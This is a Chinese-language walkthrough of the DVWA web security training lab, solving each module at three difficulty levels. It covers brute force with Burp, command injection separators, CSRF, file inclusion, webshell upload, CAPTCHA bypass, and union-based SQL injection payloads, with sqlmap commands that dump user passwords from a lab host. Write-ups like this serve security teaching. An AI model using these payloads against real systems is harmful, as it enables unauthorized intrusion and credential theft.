DVWA靶场通关

Brute Force

Low

用admin账号输入一个随机密码进行抓包,发送到爆破模块进行字典爆破密码

发现有一个响应长度不一样,最终发现这就是密码

Medium

一样抓密码去爆破

High

该关新增了token验证,使用burp爆破需要进行额外设置

根据该关源码设计思路先提交账号密码,当登陆失败时,返回一个新的token,下次提交登陆数据时,需要带着这个token,当token验证通过后,才会验证账号密码

一样先抓包放到爆破模块,选择攻击模式为Pitchfork,将password和token设置为两个参数,password和上述添加字典一致就不再阐述,设置第二个参数:

将这个设置为always

设置第二个参数的攻击模式

开始攻击,一样看到一个数据包长度不一致,查看即爆破成功

Command Injection

Low

|、||、&、&&都是windows和linux的连接管道符

Medium

新增过滤了&&和;符号,不使用即可

High

新增过滤了更多字符,但这过滤的 | 后面多了一个空格

CSRF

Low

该关只校验了cookie

抓取到更改密码时的数据包,用bp生成一个CSRF链接

丢弃掉抓的数据包,然后模拟用户在登录的状态下点击了陌生链接的情况,当一访问链接时发现密码被更改

Medium

先试试Low的方法,发现提示,是来源不正确

在Low方法中,在访问csrf链接时再抓一次包,修改referer字段,只要字段中包含host的内容即可,也可以手写一个网页然后将网页名称修改为包含host字段的名字,然后在访问时的referer就会包含host

High

File Inclusion

Low

输入一个不存在的php文件,暴露出了目录

尝试获取phpinfo.php

获取源码

Medium

先输入一个不存在的php文件

尝试获取c:\windows\win.ini文件,能够获取得到

尝试获取../../phpinfo.php发现提示文件不存在,但实际该文件存在,可能时../过滤

尝试双写绕过

High

file伪协议读取文件

File Upload

Low

写一个一句话木马上传,蚁剑或菜刀或其他连接工具连接即可

Medium

正常上传提示不是图像

通过修改Content-Type伪造为png文件

High

只能利用文件上传+文件包含,首先制作图片马上传

利用文件包含漏洞解析图片马

蚁剑连接即可

Insecure CAPTCHA

Low

正常修改密码显示验证不通过

抓包,将step修改为2即可通过

Medium

通过查看源码,需要step=2和passed_captcha=true才可通过校验

High

分析源码,UA字段需要是reCAPTCHA,g-recaptcha-response=hidd3n_valu3即可

SQL Injection

Low

判断是否存在漏洞和闭合方式是'

使用order by判断字段数为2

联合查询1,2查看是否有返回显示

有返回显示,使用联合查询注入获取数据库名

id=x' union select database(),2#

获取表名

x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取字段

x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取id=1的user和password

x' union select 1,concat(user,',',password) from users where user_id=1#

md5爆破

Medium

其主要是多了一个选择框只需要在bp抓包中进行数字型联合查询注入即可基本和Low一致

High

判断有无sql漏洞,1正常,1"正常,1'报错,证明存在sql注入漏洞,闭合方式是'

判断字段数为2,因为3报错

查询1,2有返回显示,使用联合查询注入

获取数据库名

获取表名

1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据

1' union select 1,group_concat(user,',',password) from users where user_id=1#

SQL Injection (Blind)

Low

使用sqlmap获取数据库名

bash 复制代码
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

bash 复制代码
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

bash 复制代码
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

bash 复制代码
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dvwa

Medium

将数据包保存成txt并在id参数值后面添加*

sqlmap获取数据库名

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --current-db

获取表

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --tables -D dvwa

获取字段

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --columns -T users -D dvwa

获取数据

High

注入页面和显示页面不是同一个页面,设置--second-url参数即可

sqlmap获取数据库名

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities
/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

bash 复制代码
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dv
wa
相关推荐
游戏开发爱好者811 分钟前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙7 小时前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道7 小时前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安7 小时前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
吴声子夜歌7 小时前
网络安全——身份认证
安全·web安全·身份认证
Zkaisen10 小时前
RN与Metro
web安全
Aision_10 小时前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
艺杯羹11 小时前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
菩提小狗11 小时前
每日安全情报报告 · 2026-08-17
网络安全·漏洞·cve·安全情报·每日安全
菜是原罪12 小时前
ECS CPU 100% 故障排查与安全事件复盘报告
运维·服务器·网络安全